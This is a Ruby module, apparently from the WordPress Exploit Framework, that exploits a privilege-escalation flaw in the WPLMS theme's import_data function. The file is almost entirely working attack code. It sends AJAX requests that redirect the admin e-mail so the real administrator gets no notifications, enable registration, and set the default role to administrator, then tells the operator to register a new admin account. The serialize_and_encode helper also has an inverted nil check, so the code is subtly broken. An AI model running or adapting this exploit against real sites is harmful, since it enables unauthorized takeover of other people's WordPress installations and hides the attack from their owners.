lib/wpxf/modules/auxiliary/priv_esc/wplms_privilege_escalation.rb
# frozen_string_literal: true
require 'base64'
class Wpxf::Auxiliary::WplmsPrivilegeEscalation < Wpxf::Module
include Wpxf
include Wpxf::Net::HttpClient
include Wpxf::WordPress::Login
def initialize
super
update_info(
name: 'WPLMS Theme Privilege Escalation',
desc: %(
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows
an authenticated user of any user level to set any system option
due to a lack of validation in the import_data function of
/includes/func.php.
The module first changes the admin e-mail address to prevent any
notifications being sent to the actual administrator during the
attack, re-enables user registration in case it has been
disabled and sets the default role to be administrator.
This will allow for the user to create a new account with admin
privileges via the default registration page found at
/wp-login.php?action=register.
),
desc_preformatted: true,
author: [
'Evex', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['WPVDB', '7785']
],
date: 'Feb 09 2015'
)
end
def check
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end
def requires_authentication
true
end
def php_serialize(value)
# Only strings and numbers are required by this module
case value
when String, Symbol
"s:#{value.bytesize}:\"#{value}\";"
when Integer
"i:#{value};"
end
end
def serialize_and_encode(value)
serialized_value = php_serialize(value)
return nil unless serialized_value.nil?
Base64.strict_encode64(serialized_value)
end
def set_wp_option(name, value)
encoded_value = serialize_and_encode(value)
if encoded_value.nil?
emit_error "Failed to serialize #{value}", true
return nil
end
res = execute_post_request(
url: wordpress_url_admin_ajax,
params: { 'action' => 'import_data' },
body: { 'name' => name, 'code' => encoded_value },
cookie: session_cookie
)
if res.nil?
emit_error 'No response from the target', true
elsif res.code != 200
emit_warning "Server responded with code #{res.code}", true
end
res
end
def run
return false unless super
new_email = "#{Utility::Text.rand_alpha(5)}@#{Utility::Text.rand_alpha(5)}.com"
emit_info "Changing admin e-mail address to #{new_email}..."
if set_wp_option('admin_email', new_email).nil?
emit_error 'Failed to change the admin e-mail address'
return false
end
emit_info 'Enabling user registrations...'
if set_wp_option('users_can_register', 1).nil?
emit_error 'Failed to enable user registrations'
return false
end
emit_info 'Setting the default user role...'
if set_wp_option('default_role', 'administrator').nil?
emit_error 'Failed to set the default user role'
return false
end
register_url = normalize_uri(full_uri, 'wp-login.php?action=register')
emit_success 'Privilege escalation complete'
emit_success "Create a new account at #{register_url} to gain admin access."
true
end
end